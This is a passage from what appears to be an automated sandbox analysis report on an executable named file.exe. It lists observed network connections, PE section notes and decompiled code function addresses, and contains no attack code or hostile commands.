Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49956 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49957 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49958 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49959 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C7662C0 PR_dtoa,PR_GetCurrentThread,strlen,NtFlushVirtualMemory,PR_GetCurrentThread,memcpy,memcpy,

0_2_6C7662C0

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EAC60	0_2_6C5EAC60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BAC30	0_2_6C6BAC30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A6C00	0_2_6C6A6C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DECC0	0_2_6C5DECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63ECD0	0_2_6C63ECD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AED70	0_2_6C6AED70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C70AD50	0_2_6C70AD50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C768D20	0_2_6C768D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C76CDC0	0_2_6C76CDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E4DB0	0_2_6C5E4DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C676D90	0_2_6C676D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67EE70	0_2_6C67EE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C0E20	0_2_6C6C0E20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EAEC0	0_2_6C5EAEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C680EC0	0_2_6C680EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C666E90	0_2_6C666E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A2F70	0_2_6C6A2F70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64EF40	0_2_6C64EF40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E6F10	0_2_6C5E6F10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C720F20	0_2_6C720F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BEFF0	0_2_6C6BEFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E0FE0	0_2_6C5E0FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C728FB0	0_2_6C728FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EEFB0	0_2_6C5EEFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B4840	0_2_6C6B4840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C630820	0_2_6C630820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66A820	0_2_6C66A820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E68E0	0_2_6C6E68E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C618960	0_2_6C618960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C636900	0_2_6C636900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6FC9E0	0_2_6C6FC9E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6149F0	0_2_6C6149F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6709A0	0_2_6C6709A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69A9A0	0_2_6C69A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A09B0	0_2_6C6A09B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65CA70	0_2_6C65CA70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C698A30	0_2_6C698A30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68EA00	0_2_6C68EA00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65EA80	0_2_6C65EA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E6BE0	0_2_6C6E6BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C680BA0	0_2_6C680BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E8BAC	0_2_6C5E8BAC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F8460	0_2_6C5F8460
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C644420	0_2_6C644420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66A430	0_2_6C66A430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6264D0	0_2_6C6264D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67A4D0	0_2_6C67A4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C70A480	0_2_6C70A480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C642560	0_2_6C642560
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C680570	0_2_6C680570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C728550	0_2_6C728550
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C638540	0_2_6C638540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E4540	0_2_6C6E4540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AA5E0	0_2_6C6AA5E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66E5F0	0_2_6C66E5F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D45B0	0_2_6C5D45B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63C650	0_2_6C63C650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63E6E0	0_2_6C63E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67E6E0	0_2_6C67E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6046D0	0_2_6C6046D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C660700	0_2_6C660700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60A7D0	0_2_6C60A7D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62E070	0_2_6C62E070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AC000	0_2_6C6AC000
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A8010	0_2_6C6A8010
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D8090	0_2_6C5D8090
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BC0B0	0_2_6C6BC0B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F00B0	0_2_6C5F00B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C648140	0_2_6C648140
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C656130	0_2_6C656130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C4130	0_2_6C6C4130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E01E0	0_2_6C5E01E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7361B0	0_2_6C7361B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C668260	0_2_6C668260
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C678250	0_2_6C678250
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B8220	0_2_6C6B8220
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AA210	0_2_6C6AA210
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7662C0	0_2_6C7662C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B22A0	0_2_6C6B22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AE2B0	0_2_6C6AE2B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FA2B0	0_2_6C5FA2B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C722370	0_2_6C722370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6FC360	0_2_6C6FC360
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C676370	0_2_6C676370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E8340	0_2_6C5E8340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E2370	0_2_6C5E2370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C652320	0_2_6C652320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6343E0	0_2_6C6343E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6123A0	0_2_6C6123A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63E3B0	0_2_6C63E3B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E3C40	0_2_6C5E3C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C709C40	0_2_6C709C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F1C30	0_2_6C5F1C30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A1CE0	0_2_6C6A1CE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C71DCD0	0_2_6C71DCD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67FC80	0_2_6C67FC80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C643D00	0_2_6C643D00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B1DC0	0_2_6C6B1DC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D3D80	0_2_6C5D3D80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C729D90	0_2_6C729D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C73BE70	0_2_6C73BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C765E60	0_2_6C765E60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6EDE10	0_2_6C6EDE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C603EC0	0_2_6C603EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C615F20	0_2_6C615F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C737F20	0_2_6C737F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D5F30	0_2_6C5D5F30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68BFF0	0_2_6C68BFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6FDFC0	0_2_6C6FDFC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C763FC0	0_2_6C763FC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C601F90	0_2_6C601F90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B3840	0_2_6C6B3840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63D810	0_2_6C63D810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6138E0	0_2_6C6138E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C73B8F0	0_2_6C73B8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BF8F0	0_2_6C6BF8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67F8C0	0_2_6C67F8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5ED8E0	0_2_6C5ED8E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65F960	0_2_6C65F960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69D960	0_2_6C69D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C695920	0_2_6C695920
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C72F900	0_2_6C72F900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6459F0	0_2_6C6459F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6779F0	0_2_6C6779F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6799C0	0_2_6C6799C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6199D0	0_2_6C6199D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F1980	0_2_6C5F1980
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B1990	0_2_6C6B1990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C769A50	0_2_6C769A50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6DDA30	0_2_6C6DDA30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61FA10	0_2_6C61FA10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C681A10	0_2_6C681A10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E1AE0	0_2_6C5E1AE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BDAB0	0_2_6C6BDAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BFB60	0_2_6C6BFB60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62BB20	0_2_6C62BB20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FBBD4	0_2_6C5FBBD4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C627BF0	0_2_6C627BF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C639BA0	0_2_6C639BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A9BB0	0_2_6C6A9BB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D1B80	0_2_6C5D1B80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C5B90	0_2_6C6C5B90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C9430	0_2_6C6C9430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66D410	0_2_6C66D410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E14E0	0_2_6C5E14E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7614A0	0_2_6C7614A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F5510	0_2_6C5F5510
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C72F510	0_2_6C72F510
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C647500	0_2_6C647500
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6655F0	0_2_6C6655F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C619590	0_2_6C619590
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F9650	0_2_6C5F9650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C635640	0_2_6C635640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C609600	0_2_6C609600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C657610	0_2_6C657610

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C7609D0 appears 334 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C603620 appears 97 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C76D930 appears 64 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C719F30 appears 53 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C609B10 appears 109 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C63C5E0 appears 35 times
